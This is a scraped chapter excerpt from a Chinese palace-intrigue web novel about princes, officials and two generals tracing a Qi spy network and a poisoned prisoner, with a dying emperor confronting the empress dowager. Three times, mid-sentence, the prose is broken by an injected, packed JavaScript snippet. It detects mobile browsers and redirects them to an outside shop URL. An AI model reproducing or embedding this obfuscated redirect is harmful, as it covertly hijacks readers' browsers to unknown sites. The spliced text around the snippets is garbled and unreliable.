宫人们都急急忙忙快步走过,方景淮进宫后先是去了雁栖宫,告诉方昭浅自己身上的毒已经解了一事,并叮嘱她先不要声张,便要前往去查白妈妈倒卖宫中物品一事。 方昭浅闻言,便道:“我和你一起去吧!” 方景淮双手抱胸,道:“白妈妈是太后的人!” 方昭浅起身道:“我知道!” 方景淮沉默了许久,才道:“好吧!” 方昭浅只带了一个侍女,跟着方景淮朝雁栖宫外走去。 “白妈妈既是太后的人,那你要如何查起?” 方景淮笑道:“白妈妈的尸体昨夜就发现了,但至今都没接出来,想必是因为宫中传闻,太后也在怀疑白妈妈的身份,我们跟着太后派去查白妈妈遇害一事的人就行。” 方昭浅微微点头,又低头道:“太后会不会早就知道白妈妈是杞国人呢?” 方景淮见她低着头,便知她是想到了钟昭仪,解释道:“不会!太后虽一心偏向陆家,但让她做出勾结杞国的事,她定是不会的!” 方昭浅闻言轻点了点头,跟着方景淮找到了懿祥宫派去调查白妈妈的老公公,方景淮回头和方昭浅交换了个眼神,就迎上前去。 老公公一见来人是久未露面的燕王和四公主,便朝两人行了一礼就要转身离开,方景淮立即道:“公公这是要去哪?” 老公公回头道:“太后娘娘吩咐了一些事,我正要去办!” 方景淮思量了片刻,便凑近了老公公低声道:“我听闻太后娘娘身边的白妈妈死了?” 老公公抬头道:“是死了!” 方景淮故作惊讶,又低声道:“那可怎么办?” 老公公闻言疑惑道:“殿下可有何事?” 方景淮看着老公公,像是思量了一会,才将老公公拉到一旁低声道:“公公知道的,我原先和阿娘住在冷宫,过得很是窘迫,所以阿娘当时就做了些针线活拿出去卖,才过得好了一些,后来阿娘去世后,我也时常会卖一些字画,本来都是出宫办事的宫人去和宫外的买家联系的,后来才知原来这些出宫办差的宫人都是给了白妈妈好处,白妈妈才能安排出去的,因此白妈妈一死,那我们倒卖宫中物品不就要被查出来了?” 方景淮见老公公听进去了,便又道:“不过幸好,是公公你查,我们才能逃过一劫!” 老公公一听这话便知方景淮是想让自己不要去查他和白妈妈一起倒卖宫中物件的事,难怪久未进宫的燕王今日突然进宫了,不过这事倒是给自己提了个醒,他正愁从何查起呢!于是老公公退了一步,道:“我奉太后娘娘之命彻查白妈妈,岂能放过这等重要的事?” 说着老公公见方景淮似乎被吓到,于是又压低了声音说道:“如果殿下能帮我抓出盗窃宫中物品倒卖的宫人,那……殿下毕竟身份尊贵,想来也不会参与这等有失体面之事!” 方景淮闻言,既然已经得逞,便附和道:“这是自然,能帮到公公就好!” 老公公笑了笑,方景淮回头和方昭浅使了个眼神,方昭浅只淡淡地看着他。 方景淮并未卖过字画,只是宫中之事他多少也看见一些,出宫办差一直是一个肥差,其中有不少油水可捞,但决定何人能出宫的人得到的好处也不少,自然知道的也多,又能和太后宫中的白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13508527|128163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妈妈牵连上,这宫里也就只能找出几个这样的人了。 于是方景淮便引着老公公一个个去查,不出两个时辰,还真找出了一个,此人便是尚宫局的贺女官,负责后宫的采办和验收。 贺女官本来昨夜听闻白妈妈意外死了,心中正担忧这些年自己和她之间的交易会被发现,所以见到太后宫中的老公公前来时心已经死了大半,更是禁不住审问就都招了。 方景淮和方昭浅在一旁听着,原来宫中出宫采办是固定的,但人总是贪得无厌的,挣到了第一次就想下一次,于是白妈妈和贺女官买通的宫门口的一个守卫,等他守宫门时就可以放一人前来收宫中倒卖的物件,他在宫外帮着卖出物品,所挣得的钱财几人商量了个定数分了。 老公公冷笑道:“你们倒是会做生意!” 方景淮闻言思量了片刻,上前问道:“前来收取物件的人是谁找来的?” 贺女官答道:“是白妈妈!” “白妈妈?”方景淮又道:“那这一招也是白妈妈想的?” 贺女官立即点头道:“是她想出来的,她说她在宫外有个信得过的人可有帮我们处理这些物件,我原先不是很相信那人,但那人转卖物件后带来的银两比我们自己去卖要多出很多,一来二去我见他也没什么问题,而且得到的钱也多,虽是要和几人分,但总归比我自己去要好一些,而且我自己不用出去后我就能把出宫的机会转卖出去,也是一笔……收入。” 方景淮问道:“那你可见过前来收取物件那人?” “见过一次!” “那你可记得对方长像?” 贺女官想了想,“是一个男子,大概比殿下矮了一些……那次见面是很多年前了!后来都是白妈妈负责去送东西和拿钱,她自愿去,我也省了麻烦,所以后来也没再见过了!” 方景淮拿出了一张纸在贺女官面前展开,问道:“你仔细看看,是不是这个人?” 老公公见状有些奇怪,但也没阻止方景淮,贺女官凑上前仔细看了看,点了点头道:“有一点像,我是真的很久没见过了!” 老公公示意一旁的人去拿方景淮手中的那张纸,方景淮已经将那张纸收了起来放回了怀中,忽然抬头见一个小公公站在自己面前,说道:“殿下!能否将画像……” 小公公话还未完,方景淮又从怀中拿出了那张画像递给了小公公,道:“公公想看这个啊!这是我小时候见过的一个替我阿娘卖东西的一个人,只是那时年纪小有些记不得那人样貌了,只画了个记忆中的样子拿来给贺女官看看!” 老公公接过画像一看,画得是有些简陋,有些分不清是何人,老公公将画像给了一旁的小公公,小公公又送回给了方景淮。 “看来要问的也差不多了!我这就拿她去和太后娘娘禀报!”说着老公公顿了顿,看向方景淮,道:“今日劳烦殿下了!后面的事,我知道该怎么做的!” 方景淮道了声谢,就站在原地看着老公公一行人带着贺女官离开,方昭浅上前道:“你给那女官认的可是雷炎?” 方景淮手中还拿着小公公还给自己的画,又从怀中抽出一幅画像来,展开一看正是通缉令上的雷炎。 方昭浅道:“太后正因宫中传闻一事怀疑白妈妈,这时我们要是也去怀疑,无疑是打了太后娘娘的脸,会惹得太后娘娘不悦,只是……从刚刚女官的反应来看,会是雷炎吗?” 方景淮正思量着,忽然听见雁栖宫的宫人前来,方昭浅上前问道:“何事?” 宫女回禀道:“圣上晕倒了!” 方昭浅回头看向方景淮,两人迅速去了方承尧寝殿。 117. 第一百一十七章 黄雀 方景淮和方昭浅到方承尧寝殿时,叶云舒正带着方昭清正和医师们为方承尧看诊,除了方景渝不在,其余的妃嫔皇子公主都聚在了寝殿外,就连许久未曾露面的方景沛也在。 方景澄一见方景淮来了,便惊讶道:“这不是九郎嘛?怎么今日得空进宫了?” 方景淮还未来得及回话就听方昭浅道:“九郎新得了一册孤本,进宫来送我!” 方景澄瞥了一眼方昭浅,笑道:“难怪四娘这么冷淡的性子都能维护九郎,原来是九郎会投其所好啊!四娘你说你想要什么样的孤本?只要花些银子,我都给你找来!” 方昭浅只看了他一眼就转过头看向寝殿内,方景澄见方昭浅没有回他,气道:“你……” 一旁的赵王妃虞芳草拉了拉方景澄的衣袖,方景澄便回过头站到了王妃身旁。 众人等了片刻,叶云舒和几位医师便出来了,几位医师被诸位妃嫔皇子公主问到,便开始一边解答一边迎着妃嫔皇子公主们进去,方昭浅见众人都进去了,回头看了一眼方景淮也跟着进去了。 叶云舒见方景淮一人在殿外,便开口道:“圣上是由于之前过于劳累,加上近日忧思过度才会晕倒的,现在已经醒了!” 方景淮上前看了一眼寝殿内,问道:“他……圣上可还好?” 叶云舒轻叹了口气,“思则气结,心病还须心药医!” 方景淮听后点了点头,他没想到方承尧对淑妃原来这般情深意重,方景淮心中有些替母亲不值,他又看了一眼殿内,便转身朝外走去,叶云舒跟上方景淮,问道:“你不去看看他吗?” “他有这么多人看,也不差我一个!” 叶云舒听后低声道:“若是他时日不多了呢?” 方景淮停住了脚步,惊讶地回头看向叶云舒,似乎在确定叶云舒说的是不是真是,见叶云舒眉头紧皱,点了点头,方景淮才确定她确实说的是真的。 叶云舒左右看了看,见四周无人,才看向方景淮,压低了声音说道:“长则三个月,短则……这个月怕是也撑不到。” 方景淮听后沉默了许久,问道:“何时他的身子这般差了?” 叶云舒解释道:“自淑妃娘娘薨了后,圣上的身体是一日不如一日,原先因赤州城失守一事一直吊着一口气在,如今赤州城也收复了,气泄神散,他的身子便开始撑不住了!” 方景淮默然,叶云舒也安静地等在一旁,不知过了多久,方景淮回过头继续朝宫外走去,叶云舒见状也不再多言,快步跟上了他。 方景泽正在方承尧的龙床边站着,看着似乎满脸苍老的方承尧心中很不是滋味,忽然殿外进来了一个小公公,进了殿后告知方景泽有人在殿外找他,方景泽看了一眼方承尧就转身出去了,一旁的方景沛目光也跟着方景泽出去了,在他的身侧,是一直关注着方景泽的方景澄,方景澄盯着殿外看了看,又转身朝身后一个小公公使了个眼色,小公公便悄悄退了下去。 方景淮和叶云舒两人一道出了宫,驾了一辆马车往沈府而去,马车经过洛京城繁华的街道,可今日方景淮不似往日般有兴致,只安静地坐着,叶云舒也忙着自己的事,翻了一些医书。 繁华街道的另一面正是孤僻的小巷子,沈安宁和陈子洵两人藏身在一处黑暗中,两人今日午后去找了洛京城的县令,让县令带人前去长乐坊对面的酒楼查了戴帏帽的那两人,因另一人带着帏帽,只知道是小娘子, 最后只给那守门的那人画了像。 县令带着画像回去查了一番,才得知此人名叫全顺,是去年孤身一人来得洛京,平时做些脚夫的活,陈子洵又带着人前去找了那些同和他一起做脚夫的人,听他们说起全顺已经有一阵子不去找他们了,不过给了一个全顺以前的落脚点,于是沈安宁和陈子洵便在此等到了晚上。 陈子洵看着渐渐黒透的天,低声朝一旁的沈安宁问道:“会不会全顺不在此处了?” 沈安宁双手抱胸靠着檐廊下,往黑暗的小巷子中看去,她也不确定这个全顺是否会出现,思量了片刻,她道:“再等会!” 陈子洵闻言安静地盯着那处黑暗,不知过了多久,两人渐渐有些退意时,一个人影缓步走来,两人瞬间清醒,靠在墙边看着那人影。 人影似乎并未察觉什么,只当像往日般走着,待走到了月光下,沈安宁拿出那张画像比对了一下,和陈子洵交换了个眼神,便收起了画像。 陈子洵上前只两三招就把全顺压到了地上,见对方没有武功一时有些诧异。 全顺莫名其妙被人压到了地上,本以为是遇见了地痞无赖,本想骂出口,可艰难抬起头后见对方不像是个地痞,又因近日帮邵暮做事,一时竟有些心虚,慌忙道:“大人饶命!大人饶命!我什么都不知道,什么都不知道!” 沈安宁走近,问道:“你前些日子监视长乐坊是为何事?” 全顺一听,果然是为了帮邵暮做的那些事,便道:“这位小娘子在说什么,小的不明白!” 陈子洵手一发力,问道:“你不明白?” 全顺只觉胸口一痛,咬了咬牙道:“我不知道你们在说什么!你们有钱有势就就能欺负无辜百姓吗?” 陈子洵一把将全顺提起,“你无辜?看来非得抓你进大狱你才能说实话!” 全顺一听大狱心又放下了一寸,毕竟他也是帮邵府在办事,于是道:“那你抓吧!我不信你们还能屈打成招,诬陷好人!” 沈安宁见全顺听见大狱之后神色不似开始般紧张,便试探道:“你觉得你身后之人会保护你?那你可知大狱这几日正死了一人?你觉得你在你身后之人眼中会比他更重要吗?” 全顺闻言一愣,正盯着他的沈安宁立刻察觉,难道雷炎和他们有关? 忽然,全顺像是想到了什么,原本犹豫的神情又消失殆尽,他冷哼道:“那你们就抓我去大狱啊!我没做过就是没做过!” 沈安宁和陈子洵对视了一眼,沈安宁道:“先抓他去县衙!” 全顺一边被陈子洵押着走,一边嚷嚷着,“你们是谁啊!你们凭什么抓我!” 三人刚出了巷子,就见前方站着方景泽,沈安宁回头对上了陈子洵的目光,又回过头行了一礼,道:“魏王真是勤于公务,这么晚了还在外面!” 方景泽盯着陈子洵手上的全顺,道:“沈元帅和陈将军不也是勤于公务吗?只是这是京城,不是赤州和南州,此人还是交给我吧!” 沈安宁看着方景泽身后的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13520391|128163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狱卒,看来是有备而来,想来自己今日离开了大狱他就一直派人盯着自己,沈安宁道:“人当然可有交给殿下,只是上一个交给殿下的如今只剩一具尸体,这次殿下能将疑犯保护好吗?” 方景泽笑道:“沈元帅收复赤州有功,本王知道,只是还轮不到沈元帅来教本王办事吧?” 说着方景泽抬手示意身后的人,几人上前接过了陈子洵手中的全顺,便跟着方景泽离开了,陈子洵上前道:“阿宁?” 沈安宁思忖道:“此人怕是今夜有危险,我们也跟去大狱!” 陈子洵点了点头,黑夜中两人一道跟了上去。 等众人走了以后,在很远处的一个黑暗转角处出来了一人,那人看着沈安宁和陈子洵走远后,才转身跑回了赵王府,跟着管家一路到了大厅。 方景澄听见管家禀报,便将账本给了一旁的赵王妃虞芳草,自己出去见了那侍从,一边喝茶一边听着侍从说着今夜的事。 方景澄疑惑道:“是抓了个什么人?” 侍从回道:“小的也不知!” 方景澄思量道:“能惊动沈安宁和方景泽,想必是个重要人物。” 说着方景澄顿了顿,又道:“是抓去大狱了吗?” 侍从回道:“看方向是!” 方景澄思忖道:“你去邵府走一趟,将这件事告诉中书令!务必小心,别让人发现!” “是!” 侍从应下后转身离开了,一路到了邵府,跟管家禀明身份后被引到了邵盛的书房,侍从一进书房就见邵府小姐也在,便没有开口。 邵暮见状正要离开,邵盛一边走到桌旁,一边说道:“无妨!你说!” 侍从看了一眼邵暮,见邵暮又站回去研墨了,便道:“今夜魏王和沈元帅去振德坊抓了一个人,赵王觉得事有蹊跷,命我前来告知中书令!” 正在书案处研墨的邵暮闻言手上动作一顿,所幸邵盛已经在桌旁坐下,邵暮转头看向那侍从。 邵盛道:“知道了!” 邵暮思索了半刻,便上前道:“阿爹!这正是赵王的好机会!” 邵盛闻言一顿,疑惑道:“什么?” 邵暮上前道:“众人心中都明白圣上圣体已是强弩之末,现下正是立储的关键时期!能让沈安宁和魏王同时出动的必定不是一般人,魏王前脚刚丢了雷炎,现在又来这样一个人,且不管此人到底是何人,要是此人真有用处,那魏王必定扳回了一局!” 邵盛一听思量着点了点头,道:“继续!” 邵暮便接道:“若是此人有用且能为我们所用自然是好的,若是此人于我们无用,那也不能就此将他送给魏王。” 说着邵暮顿了顿又道:“若是此人本身便无用处,那我们也可给他些用处,魏王丢了雷炎在先,又失了勾结杞国的叛徒,该如何向文武百官交代呢?” 邵盛听后笑:“果然是我的好女儿!” 邵盛转身朝赵王的侍从道:“你去告诉赵王,今夜怕是要请他和我走一趟大狱了!” 侍从已经听见了邵暮话,自然也明白了邵盛的意思,于是应了一声转身离去。 邵盛笑着走出了书房,邵暮目光跟着邵盛,脸上笑容却渐渐消失。 118. 第一百一十八章 心病 邵盛到大狱时,方景澄还未到,邵盛便没有再等他,而是先带着人进了大狱。 沈安宁和陈子洵正躲在暗处看着进去的邵盛,陈子洵疑惑道:“邵盛这时候来干什么?” 沈安宁思量道:“想必是和全顺有关,我们去看看!” 陈子洵应下,两人一道走出了黑暗,正要往大狱走去,身后忽然传来一个男子的声音。 “沈元帅!陈将军!这是要去哪?” 沈安宁和陈子洵两人闻声迅速警惕地回过头,见方景沛正朝他们走来,两人皆是一愣,相互交换了个眼神,一道行礼道:“见过靳王!” 方景沛不紧不慢地走近了些,“二位不必多礼!” 沈安宁和陈子洵这才直起身,方景沛又问道:“听闻沈元帅和陈将军在边境战绩,我十分佩服!只是一直没有机会与二位相见,今日在此遇见真的有幸!” 沈安宁和陈子洵闻言又是一礼,“靳王言重了!” 两人说完正要告辞,方景沛又道:“今日既是遇到了,两位不妨和我说说边境是何模样?” 陈子洵满心疑惑,沈安宁心中暗自思忖,卢婕妤还在时,这位七皇子就不常被人提起,卢婕妤死后,这位七皇子虽封了靳王,但提起他都是何卢婕妤相关的事,而他本人也因洛京城中各种事宜被耽误下来,不能前往封地,如今他怎么突然关心起边境来了? 沈安宁越想越觉得奇怪,忽然灵光一动,想起了刚来洛京时的那场宫宴,诸位皇子给圣上送礼祝寿,但却落下了七皇子方景沛,当时正是方景泽替他提起,看来这位靳王是有意替方景泽拖住她们。 想到这,沈安宁正色道:“靳王是担心我们进去会打扰魏王审犯人吗?” 方景沛的心思被戳穿了,心中也不恼,只打量着看了一眼沈安宁,他正是跟着方景泽出宫,方景沛虽不关心朝堂之事,但是方景泽的事他还是挂心着的,他知道方景泽已经丢了一个重要犯人了,这时若是再丢一个想必很难向文武百官交代。 于是见沈安宁和陈子洵的犯人被方景泽提走以后,两人偷偷跟上了方景泽,方景沛才跟着沈安宁和陈子洵到了这里,见她们到了此处后躲在黑暗中,方景沛也没上前,只离得远远地看着,忽然见她们两个出来后,方景沛才上前来阻挠。 方景沛道:“沈元帅如此聪慧,我便也不与元帅绕圈子,今夜这大狱,我想二位还是不要进去的好!” 沈安宁道:“靳王可知,刚刚中……” 沈安宁话还未完,就见一匹骏马跑了过来,停在了三人面前,接着赵王方景澄下了马,将马绳丢给了身后急忙跑来的侍从,才小心地打量起沈安宁、陈子洵、方景沛三人来,“七郎?你们怎么会在这?” 沈安宁、陈子洵、方景沛朝方景沛行了一礼,方景沛心中疑惑,但依然抬起头回道:“我对边境的风俗有些好奇,于是前来问问沈元帅和陈将军!” “你?”方景澄听后更是疑心起来,“你何时这般关心边境了?为何再此处?” 方景沛正要回答,方景澄却挥了挥手,他知道沈安宁和陈子洵为何在此,但对时常让人想不起来的方景沛为何在此确实有些疑惑,只是想来无非也就是他那点小事,于是不耐烦道:“算了算了!今日我还有事!你先回去吧!” 说着方景澄就要往大狱走,方景沛上前一步拦住了方景澄的去路,方景澄这才正眼看向了方景沛,问道:“怎么了?” “你不能进去!” 方景沛语气坚定,倒让方景澄顿了顿,他后退了半步,打量起了方景沛,“若我偏要进呢?” 方景沛闻言只抬起一条手臂紧握成拳,横在方景澄面前挡住了他的路。 方景澄笑道:“七郎啊!你自小就爱跟着三郎!只是你真的了解三郎吗?今日你为他如此,可曾想过明日你若挡在他面前,他会如何对你?” 方景沛并不出声,只坚定地站着,方景澄最后一点耐心就要被消磨掉,他正要发话时忽然见邵盛带着人走出了大狱,沈安宁、陈子洵、方景沛也顺着他的目光看去,方景澄一把推开了方景沛的手,走向了邵盛。 方景沛也急忙跟了上去,沈安宁和陈子洵对视了一眼,也跟了上去,沈安宁见邵盛似乎看见了这边的人,于是停在了大狱门口,抬手挥散了他身后的家仆,沈安宁见那走向邵府马车的家仆中有一人似乎比一旁众人要矮上一些,走路步伐也小了些,因此和其他家仆一起时更像是一路小跑。 沈安宁正想着时,几人已经走到了邵盛面前,邵盛看着方景澄,又扫了一眼他身后的三人,道:“今日这是什么日子?沈元帅和陈将军怎么有空来这大狱了?” 沈安宁和陈子洵一道行了一礼,正要回话时,方景泽忽然从大狱跑了出来,一见邵盛便急忙道:“中书令真是好大的胆子!竟敢在大狱杀人!” 此话一出,在场众人皆是一愣,邵盛忙道:“魏王不要血口喷人!我什么时候杀人了!刚刚你连进都没让我进去!这会说我杀人?” 方景澄闻言立即道:“魏王不会是自己审犯人时下了重手杀了人,又见中书令今日前来,所以想要旁人顶罪吧?” 方景泽冷哼一声,沈安宁回头看了一眼邵盛的马车,道:“拦下那几个家仆!” 说完沈安宁便冲进了大狱,陈子洵则立即转身跑向了邵盛的马车,方景泽回过头看了一眼沈安宁,吩咐了几人跟上陈子洵,又看了一眼邵盛才转身很快跟上沈安宁,方景沛见方景泽进去了,也跟上了他。 方景澄见众人都离开了转头瞪向邵盛,又抬手让身旁的狱卒侍卫等都下去,才压低声音道:“你在干什么?” 邵盛慌忙摇了摇头道:“我真没杀他!” 方景澄盯着邵盛看了看,邵盛解释道:“魏王守在门口,还换了上次的狱卒,我连人都没见到!怎么能杀了他?” 方景澄思量了片刻,道:“进去看看!” 说完方景澄便朝大狱内走去,邵盛眉头紧皱,左思又想,最后一挥衣袖便转身跟了上去。 沈安宁跟着狱卒一路跑到了关押全顺的监牢,见全顺已经趴倒在地上,沈安宁正要上前,一旁的狱卒就拦住了,狱卒见后赶来的方景泽点了点头,才放沈安宁进去,沈安宁蹲到了全顺身旁,伸手探了探他的脖颈 处,又将全顺的头转了过来,见他嘴角旁还有白色残渣,于是转头扫了一眼监牢,见四处都没有吃食,又回过头探了探全顺的脉。 方景澄和邵盛到时,见沈安宁眉头紧锁,神情严肃,眼中还有一丝疑惑,邵盛问道:“他是怎么死的?” 沈安宁见一旁的仵作来了,于是起身让开了位置,回头看向邵盛,邵盛被看得一惊,又立即问道:“你看着我做什么?” 沈安宁道:“他还有体温,应当是刚死不久,嘴旁有食物残渣,看起来应该是馒头之类的面食……” 邵盛闻言迅速抢话道:“那就是有人下毒了!我都未曾进来,也不曾带什么馒头!”想了想,邵盛又道:“会不会是他自己带的!” 方景泽没有回答他,而是问沈安宁道:“刚看你替他把脉,你可知是什么毒?” 沈安宁严肃道:“他五脏俱已衰竭,是……” “是杞国人干的!”邵盛睁大了双目,“近日传闻杞国有一毒药,能使中毒之人如正常衰老而死,难道是杞国奸细下的手?” 方景泽看向沈安宁,沈安宁思量了片刻朝大狱走去,众人都跟了上去,沈安宁到了大狱外便往邵盛的马车走去,见陈子洵已经和狱卒一道将邵盛的几个家仆围住,只是几个家仆都躺在地上。 陈子洵见沈安宁出来了,急忙道:“阿宁!你看!我们刚过来他们就一个接一个倒地了!” 沈安宁蹲在几个家仆旁,检查了一番,又探了探脉,身后跟来的众人见此都是一惊,邵盛更是有些站不稳,扶住了一旁的马车。 沈安宁起身后又看了一眼几个家仆,方景泽连忙问道:“他们也是中毒吗?” “是!”沈安宁回过头看向邵盛,问道:“还有一个是谁?” 邵盛被问得一愣,沈安宁又道:“他们中还有一个身量较小的,是谁?” 邵盛闻言看向了地上那几个家仆,“我今日就只带了他们啊?” 沈安宁回头看向那几个家仆,心中思忖着。 方景泽听闻是杞国的毒后想起了宫中的传闻,听到传闻后太后派人去找白妈妈,最后却只是白妈妈的尸体,这中间会不会有什么关联。 方景澄今夜本就是来使绊子的,如今看这绊子快要使到自己身上了,于是道:“看来这个犯人很有可能是杞国的死士,被抓后就自尽,看来没我什么事了!我和中书令便先走了!” 方景泽回头道:“若真是如此,那中书令的家仆也中了此毒,难道也是奸细?” 方景澄和邵盛闻言俱是一愣,方景澄道:“三郎说话可要有证据!” 方景泽冷哼一声,“证据?你们还是想想如何向父皇交代吧!” 说着方景泽抬手道:“来人!拿下!” 方景澄看着围上来的侍卫,道:“你们敢?” 方景泽下令道:“都给我拿下!” 侍卫们闻声都上前,拿下了方景澄和邵盛,方景泽回头朝沈安宁道:“既然沈元帅也在,不如跟我进宫向圣上禀明情况?” 沈安宁转头看了陈子洵一眼,才回头道:“我跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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全顺这才明白过来,他拉着牢房的门,双目瞪圆了看着邵暮,却说不出任何话来,邵暮看了看他转身就要走,忽然想起了什么又停住了脚步,回头道:“忘了告诉你,山桃其实就是洛京城外一户农家的女儿而已,至于你说的妹妹,我后来派人去找了,她在被卖到第三家时,被活活打死了!我想,她应该没有机会原谅你们了!” 全顺一听,想用力拍打牢门,却使不出力气了,邵暮转身离开了。 出了大狱后,邵暮见沈安宁、方景澄等人前来了,于是跟着家仆离开后将下了药的水给家仆都喝了,又见方景泽出来后她找了个借口离开。 眼前的茶杯空了,桌旁的邵暮冷笑了一声。 窗外的月光如练,照得整个洛京城都十分冷清,方承尧自知命不久矣,日日躺在床榻上,今夜反而毫无困意,他转头看着窗外的月光,忽然听见外面传来声响,接着康公公前来禀告,“太后娘娘来了!” 方承尧闻言想要坐起来,康公公立即上前扶起方承尧,奈何身子太差,只能半倚在床头。 太后进来后见方承尧的面色,眼眸也暗淡了许多,她坐到了一旁,康公公见状带着宫人都退了出去,方承尧才开口道:“多谢阿娘来看儿子!” 太后并未看他,只平静地坐着,方承尧见状头朝后仰躺着,“阿娘,你知道吗?我心中有一件事一直想和你说,其实我一点也不想坐上这个位置!小时候我总是跟着大哥,我什么事都做不好,大哥却总能帮我善后,我以为我会一辈子这么跟着他,甚至当初父皇封他为太子,我心中也没有半分想要抢的心思。” 太后只冷笑了一声,并未转头看向方承尧,方承尧又道:“可是,当他和阿婷被赐婚时,我心中第一次嫉妒大哥,那时我想如果我是太子,是不是阿婷就会是我的?” 方承尧停顿了一会,才又接着苦笑道:“我知道是你给她下的毒,这些年来,我一边心疼她受得罪,又一边有些庆幸你给她下毒,不然我也不能娶到她!” 太后闻言一诧,转头看向方承尧,冷笑道:“是我给的毒药,但下毒之人不是我!” 方承尧一惊,抬起头看向太后,太后道:“怎么?不信?” 太后扫了一圈这个寝殿,“当初你就是为了她才愿意坐上这个位置的吧?” 方承尧问道:“下毒的是……谁?” 太后看向方承尧,“你们方家还真是罪孽深重啊!当初在选妃大典上,你一眼便看上了苏映婷,可惜苏映婷看上得不是你,而是方旭尧,他们两个也算情投意合,可当天还有一人,也看上了方旭尧。” 方承尧思量了片刻,“苏映婵?” 119. 第一百一十九章 衅隙 太后冷笑一声道:“我原以为此人也是个心狠手辣之人,只是一直等到了那方旭尧大婚的前一日还未有消息,我还以为她放弃了,却没想到她在当天晚上下了手!” 太后顿了顿,又道:“她以为减少剂量的毒就不会让苏映婷死了?要不是那个多管闲事的梁晴!苏映婷能活到今日吗?” 方承尧听后头往后一靠,太后看向方承尧,“你以为这些年苏家那两夫妻一直不见苏映婷是为了什么,只是因为替嫁一事觉得对不起苏映婷吗?他们是为了保护苏家,保护苏映婵!” “为什么?”方承尧转头看向太后,“为什么一定要杀她?” “为什么?”太后嘴角挂着讥笑,盯着床上脸色苍白的方承尧,“从小到大,你什么都听我的!可自从这个苏映婷出现,你几次三番和我作对!我有什么理由不杀她?” 方承尧听后紧盯着太后楞了半响,最后嘲笑般仰头一笑,“是啊!都是我!都是因为我!” 太后的笑脸忽然停住了,她沉默了许久,才起了身,并未回头去看儿子,冷冷地问道:“诏书……准备好了吗?” 方承尧虽没有动作,身体却还是显然一僵,他忽然觉得鼻子有些酸意,于是等了片刻才道:“会让太后满意的!” 太后安静地站了会,才点了点头,道:“那就好!” 说着太后便唤人进来,任宫人搀扶着离开了方承尧的寝殿,方承尧仰躺在龙床上,一颗泪珠夺眶而出,他听见有脚步声,知道是康公公来了,于是抬起手臂遮住了双目。 康公公见状心中已然明了,他安静地在不远处等了片刻,听见方承尧的声音,康公公才上前道:“圣上,尚书令状告赵王和中书令毒杀疑犯,如今正领着人来了!在门外候着,还有靳王和沈元帅,也都一道前来了!” 方承尧放下了手臂,康公公见他双目旁还有点点泪光。 “让他们进来吧!” 康公公应下后缓缓退了出去,等康公公带着众人进去后,方承尧已经侧倚着坐了起来,见众人行礼,方承尧盯着方景泽看了一眼,才道:“都起来吧!” 众人起身后,方承尧道:“什么事?” 方景泽上前道:“回圣上,中书令私自杀害狱中疑犯,滥用职权,理应重罚!更何况此人还与先前被抓的一个杞国奸细有关,中书令如此做难道是怕被问出什么吗?” 邵盛气道:“魏王此话是什么意思?我有什么好怕的?我一心为了圣上,为了姜国!” 方景泽冷哼一声,“怕不怕,中书令心中明白就好!” “你!”邵盛气得就要上前,一旁的方景澄拉了拉他,邵盛才冷静下来,道:“魏王不会是因为前面丢了重要犯人,所以故意找人顶罪吧!” 方景泽还要再说,这时方承尧因病虚弱地咳了几声,方景泽便不再多说,抬头有些担忧地看了方承尧一眼,见他缓了缓后才上前跪下,道:“还请圣上明察!” 邵盛见状也上前跪下道:“求圣上明察!我邵府三代忠良!岂能和杞国奸细有来往?” 方承尧盯着方景泽看了一眼,想起太后走时提起的诏书,自己还没死,太后便已经准备了后面的事,他心中有些悲凉,又有些愤懑,便道:“朕让你们两个去代理朝政,不是让你们去互相争斗的!” 话音刚落,方景澄立即跪下,众人也跟着跪下,方承尧闭上眼缓了缓,才接道:“你任大理寺卿这么多年,这点事都处理不好?还怎么处理其他大事?” 这话像是一座重山,压到了方景泽心头,让他有些难以呼吸,一旁的邵盛闻言心中十分雀跃,反倒是方景澄面色沉重地看了一眼方景泽。 一旁安静许久的沈安宁听后也是一怔。 方景泽心有不甘,面上不表,低头道:“臣知错!” 方承尧闭着眼摆了摆手,“你们都下去吧!朕想静静!” 众人问了安一道退了出去,邵盛回头看了一眼,挺直了腰板道:“魏王若是没什么事!我可要走了?” 说着邵盛见方景泽沉默着,便笑着一挥衣袖走了! 方景澄用耐人寻味的眼神看了一眼方景泽,便一声不吭地转身离开,沈安宁见状上前行了一礼离开了。 见众人都走了,方景沛才上前,又见方景泽沉默着,于是也安静地在一旁等着。 邵盛和方景澄朝宫外走去,邵盛似乎心情很好,身旁一个宫女低着头朝他们行礼,他们也没有理会,眼见两人就要到了宫门口,邵盛才发现一旁的方景澄有些异常,于是他左右看了一眼,便道:“经过这么一闹,圣上已然对魏王失望了,赵王还在担心什么?” 方景澄闻言抬头看向邵盛,眉头紧锁,见对方是真的不明白,正要开口,就听见宫门外传来声音。 “阿爹!赵王!” 